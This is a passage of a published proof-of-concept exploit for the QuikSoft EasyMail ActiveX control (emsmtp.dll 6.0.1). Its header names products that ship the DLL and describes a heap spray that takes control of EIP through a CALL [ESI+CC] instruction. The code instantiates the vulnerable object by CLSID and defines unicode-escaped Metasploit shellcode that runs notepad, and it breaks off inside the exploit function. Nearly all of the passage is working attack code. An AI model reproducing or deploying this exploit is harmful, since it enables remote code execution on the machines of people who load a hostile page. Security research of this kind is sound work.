This is the exploit for QuikSoft EasyMail ActiveX emsmtp.dll (v. 6.0.1)
This DLL used is in :
PostCast PostCast Server Pro 3.0.61
Oracle Document Capture 10.1.3.5
Exploit uses HeapSpray and
CALL [ESI+CC] instruction in emsmtp.dll code for taking control over EIP
<OBJECT id='vuln' classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></object>
<!--by Alexey Sintsov from DSecRG [www.dsecrg.com]-->
<!---this sploit use CALL [ESI+CC] into vuln code->
<!--original advisory: http://security-assessment.com/files/advisories/easymail_advisory.pdf -->
<!--rgod is credited with the discovery of this issue.-->
<SCRIPT>
function Exploit(){
//Metasploit - exec notepad
var shell = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%ue0bb%u2a1d%u680a%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u6ed5%u746f%u7065%u6461%u0000");